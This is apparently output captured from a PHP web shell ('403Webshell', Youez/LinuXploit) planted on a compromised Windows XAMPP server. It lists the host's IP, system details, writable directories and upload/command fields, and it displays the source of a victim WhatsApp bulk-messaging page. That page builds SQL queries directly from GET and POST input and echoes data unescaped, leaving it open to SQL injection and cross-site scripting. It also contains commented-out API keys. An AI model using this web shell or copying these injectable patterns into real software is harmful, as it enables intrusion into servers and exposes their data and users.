403Webshell
Server IP : 101.255.104.117  /  Your IP : 101.255.104.117
Web Server : Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38
System : Windows NT DESKTOP-5B8S0D4 6.2 build 9200 (Windows 8 Professional Edition) i586
User : user ( 0)
PHP Version : 5.6.38
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/xampp182/htdocs/wablast/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/xampp182/htdocs/wablast/sendWA.inc.php
<?php
$id = "";
$kode = "";
$userf = "";
$pwdf = "";
$buton = "Simpan";

	$sql = "SELECT * FROM set_feeder where aktif = 1";
	$result = mysqli_query($conn, $sql);

	if(mysqli_num_rows($result) > 0) {
		while($row = mysqli_fetch_assoc($result)) {
			$api_key = $row['userf'];
			$number_key = $row['pwdf'];
		}

		
	}

if(isset($_GET["deleteID"])) {
    $sql = "delete from set_session where id = ".$_GET["deleteID"];
    if (mysqli_query($conn, $sql)) {
        echo "<script>window.alert('Data Sudah Terhapus');</script>";
    } else {
        echo "Error: " . $sql . "<br>" . mysqli_error($conn);
    }
}

if(isset($_GET["setaktif"])) {
    $setz = mysqli_query($conn, "update set_session set aktif = 0");
    $sql = "update set_session set aktif = 1 where id = ".$_GET["setaktif"];
    if (mysqli_query($conn, $sql)) {
        echo "<script>window.alert('Set Aktif');</script>";
    } else {
        echo "Error: " . $sql . "<br>" . mysqli_error($conn);
    }
}

if(isset($_POST["Simpan"]) || isset($_POST["Koreksi"])) {
	if(isset($_POST["grup"])) $grup = $_POST["grup"];
	if(isset($_POST["pesan"])) $pesan = $_POST["pesan"];
	if(isset($_POST["id"])) $id = $_POST["id"];
	
	$sql = "SELECT * FROM kontak where grup = ".$grup." order by id asc";
	$result = mysqli_query($conn, $sql);

	if(mysqli_num_rows($result) > 0) {
		while($row = mysqli_fetch_assoc($result)) {

			$tbField[0] = "hp";
			$tbField[1] = "pesan";
			$hp = "62".substr($row["hp"],1,13);

			$tbIsi[0] = "'".$row["hp"]."'";
			$tbIsi[1] = "'".$pesan."'";

			if(isset($_POST["Simpan"])) {
				$nmField = compile_array($tbField);
				$isiField = compile_array($tbIsi);

				$sql = "insert into kirim_wa (".$nmField.") values (".$isiField.")";

				$notif = $ssm;
			}	
			if(isset($_POST["Koreksi"])) {
				$compileSet = compile_array2($tbField,$tbIsi);
				$sql = "update kirim_wa set ".$compileSet." where id = ".$id;

				$notif = $sum;
			}
			
			// echo $sql."<br>";

			if (mysqli_query($conn, $sql)) {
				/*
				*/
				$dataSending = Array();
				// $dataSending["api_key"] = "IJ3AFLGBCSBRDM0O";
				$dataSending["api_key"] = $api_key;
				// $dataSending["number_key"] = "Nal1YNJF2CeCjX2H";
				$dataSending["number_key"] = $number_key;
				$dataSending["phone_no"] = $hp;
				$dataSending["message"] = $pesan;
				$dataSending["wait_until_send"] = "1"; //This is an optional parameter, if you use this parameter the response will appear after sending the message is complete
				$curl = curl_init();
				curl_setopt_array($curl, array(
				  CURLOPT_URL => 'https://api.watzap.id/v1/send_message',
				  CURLOPT_RETURNTRANSFER => true,
				  CURLOPT_ENCODING => '',
				  CURLOPT_MAXREDIRS => 10,
				  CURLOPT_TIMEOUT => 0,
				  CURLOPT_FOLLOWLOCATION => true,
				  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
				  CURLOPT_CUSTOMREQUEST => 'POST',
				  CURLOPT_POSTFIELDS => json_encode($dataSending),
				  CURLOPT_HTTPHEADER => array(
					'Content-Type: application/json'
				  ),
				));
				$response = curl_exec($curl);
				// echo $response;
				curl_close($curl);

			} else {
				echo "Error: " . $sql . "<br>" . mysqli_error($conn);
			}
		}
	}
	echo "<script>window.alert('".$notif."');</script>";
}
?>
<div class="container-fluid">
    <div class="card shadow mb-4">
        <div class="card-header py-3">
            <h6 class="m-0 font-weight-bold text-primary">Send WA</h6>
        </div>
        <div class="card-body">
<form class="user" action="dashboard.php?sendWA" accept-charset="utf-8" method="post">


<div class="col m6">
    <div class="row">
        <div class="input-field col m6 s12">
            <table border="0" width="100%" cellspacing="1" cellpadding="1">
                <tr>
                    <td width="30%">Pesan / Chat</td>
                    <td width="70%">
                        <input value="<?php echo $id;?>" name="id" type="hidden">
                        <textarea name="pesan" type="text" class="form-control" id="pesan" placeholder="Chat"><?php echo $pesan;?></textarea>
                    </td>
                </tr>
                <tr>
                    <td>Grup</td>
                    <td>
						<select name="grup" class="form-control">
							<option value="0"> - Pilih - </option>
							<?php
							$sql = "SELECT * FROM grup order by id asc";
							$result = mysqli_query($conn, $sql);

							if(mysqli_num_rows($result) > 0) {
							while($row = mysqli_fetch_assoc($result)) {
							?>
								<option value="<?php echo $row["id"];?>"> <?php echo $row["nama"];?> </option>
							<?php }} ?>
						</select>
                    </td>
                </tr>
                <tr>
                    <td>&nbsp;</td>
                    <td>
                                <div class="form-group row">
                                    <div class="col-sm-3 mb-3 mb-sm-0">
                                        <button name="<?php echo $buton;?>" type="submit" class="btn btn-primary btn-block"><?php echo $buton;?></button>
                                    </div>
                                    <div class="col-sm-3">
                                        <button name="Cancel" type="submit" class="btn btn-primary btn-block">Cancel</button>
                                    </div>
                                </div>
                    </td>
                </tr>
            </table>
        </div>
    </div>
    </div>
</div>
</div>
</div>
</form>

<div class="container-fluid">

<!-- Page Heading -->

                    <!-- DataTales Example -->
                    <div class="card shadow mb-4">
                        <div class="card-header py-3">
                            <h6 class="m-0 font-weight-bold text-primary">DataTables</h6>
                        </div>
                        <div class="card-body">
                            <div class="table-responsive">
                                <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
                                    <thead>
                                        <tr>
                                            <th>Aksi</th>
                                            <th>Nama</th>
                                            <th>HP</th>
                                            <th>Pesan</th>
                                            <th>Waktu</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                            <th>Aksi</th>
                                            <th>Nama</th>
                                            <th>HP</th>
                                            <th>Pesan</th>
                                            <th>Waktu</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                        <?php
	$sql = "SELECT a.*,b.nama FROM kirim_wa a left join kontak b on a.hp = b.hp order by id desc";
	$result = mysqli_query($conn, $sql);

	if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
                                        ?>
                                        <tr>
                                            <td width="10%">
                                                <a class="btn btn-primary btn-danger" href="dashboard.php?sendWA&deleteID=<?php echo $row['id'];?>"><i class="fas fa-trash"></i></a>
                                                <a class="btn btn-primary btn-warning" href="dashboard.php?sendWA&editID=<?php echo $row['id'];?>"><i class="fas fa-edit"></i></a>
                                            </td>
                                            <td width="20%"><?php echo $row['nama'];?></td>
                                            <td width="20%"><?php echo $row['hp'];?></td>
                                            <td width="35%"><?php echo $row['pesan'];?></td>
                                            <td width="15%"><?php echo $row['waktu'];?></td>
                                        </tr>
                                        <?php
        }
    }
                                        ?>
                                    </tbody>
                                </table>
                                </div>
                            </div>
                        </div>
                    </div>


Youez - 2016 - github.com/yon3zu
LinuXploit